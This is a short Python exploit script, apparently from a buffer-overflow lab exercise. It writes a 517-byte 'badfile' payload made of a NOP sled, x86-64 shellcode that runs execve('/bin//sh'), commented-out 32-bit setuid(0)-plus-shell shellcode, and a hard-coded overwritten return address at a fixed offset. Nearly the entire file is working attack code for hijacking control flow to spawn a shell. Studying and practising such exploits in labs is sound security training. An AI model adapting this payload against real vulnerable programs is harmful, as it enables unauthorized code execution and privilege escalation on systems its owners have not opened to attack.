#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
  ##"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  ##"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  ##"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  ##"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number 
content[start:start + len(shellcode)] = shellcode
##content[450:450 + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
##shelllength = 30
##stack = 0x7fffffffddb0
##buff = 0x7fffffffd996
##dummy_buff = 0x7fffffffd9c0
##length_addr = 0x7fffffffdfe4
##bof_ret_addr = 0x555555555252
##badfile_addr = 0x7fffffffdfe8
##fread_addr = 0x7ffff7e49fe0
##ret    = 0x7ffff7e49fe0# Change this number 
##offset = 18 # Change this number 

ret = 0x7fffffffdfe4 + 26
offset = 18

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
##for x in range(0, offset, L):
	##content[x:x + L] = (ret).to_bytes(L,byteorder='little') 
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
